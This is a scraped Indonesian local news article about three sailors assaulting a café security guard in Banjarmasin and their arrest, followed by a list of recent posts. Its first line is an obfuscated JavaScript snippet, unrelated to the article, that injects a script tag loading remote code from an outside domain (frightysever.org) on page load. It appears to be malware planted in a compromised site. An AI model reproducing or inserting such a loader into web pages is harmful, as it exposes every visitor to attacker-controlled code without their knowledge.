(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Security Kafe di Banjarmasin Bonyok Dikeroyok Tiga Orang


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa pengeroyokan terjadi di Cafe Queenna Vic88 di Jalan Yos Sudarso, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Korban dalam peristiwa pengroyokan bernama Hamdani (28) yang berprofesi sebagai petugas keamanan atau security.

Kanit Reskrim Polsek Banjarmasin Barat Iptu Firuza Bahri dalam keterangan tertulis mengatakan, kejadian pengeroyokan terjadi pada Sabtu (9/12/2023) dini hari, sekitar pukul 02.00 Wita.

Baca juga: Vonis 4 Tahun Dua Terdakwa Korupsi Kredit Fiktif Bank di Banjarbaru

Pengeroyokan menurut pengakuan Hamdani dijelaskan Kanit Reskrim berawal dari adanya keributan di tempat kejadian pada malam itu.

Hamdani saat itu berusaha untuk melerai, namun para pelaku malah menganiayanya secara bersamaan.

“Akibat peristiwa itu, korban mengalami luka memar di bagian mata kanan dan merasakan sakit di belakang kepala,” ujarnya.

Baca juga: Diberi Waktu 14 Hari, Bangunan Liar di Trikora Liang Anggang Harus Dibongkar

Tak terima dianiaya oleh pelaku yang berjumlah tiga orang, Hamdani kemudian membuat laporan ke Polsek Banjarmasin Barat.

Hanya berselang sehari setelah kejadian, tiga pelaku berhasil ditangkap di Jalan Sutoyo S Komplek Ar Rahman RT 07, Kelurahan Pelambuan, Kacamatan Banjarmasin Barat.

Pelaku adalah TS (23) warga asal Sulawesi Selatan, I (44) warga asal Jakarta Utara, dan AI (27) warga Kelayan, Banjarmasin. Ketiganya diketahui berprofesi sebagai pelaut.

Baca juga: Rampas HP dalam Mobil Travel, Xenia Nyungsep ke Parit di Liang Anggang

Selain mengamankan pelaku pengeroyokan, polisi juga menyita barang bukit sebuah botol bir dan satu gelas kaca. Polisi juag sudah mengantongi hasil visum et repertum (VeR) korban.

Ketiga pelaku dan barang bukti telah dimankan di Mapolsek Banjarmasin Barat dan para pelaku terancam pasal 170 KUHP.

“Pelaku akan diproses sesuai prosedur hukum yang berlaku,” tandas Kanit Reskrim.(Kanalkalimantan.com/rizki) 

Reporter : rizki

Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.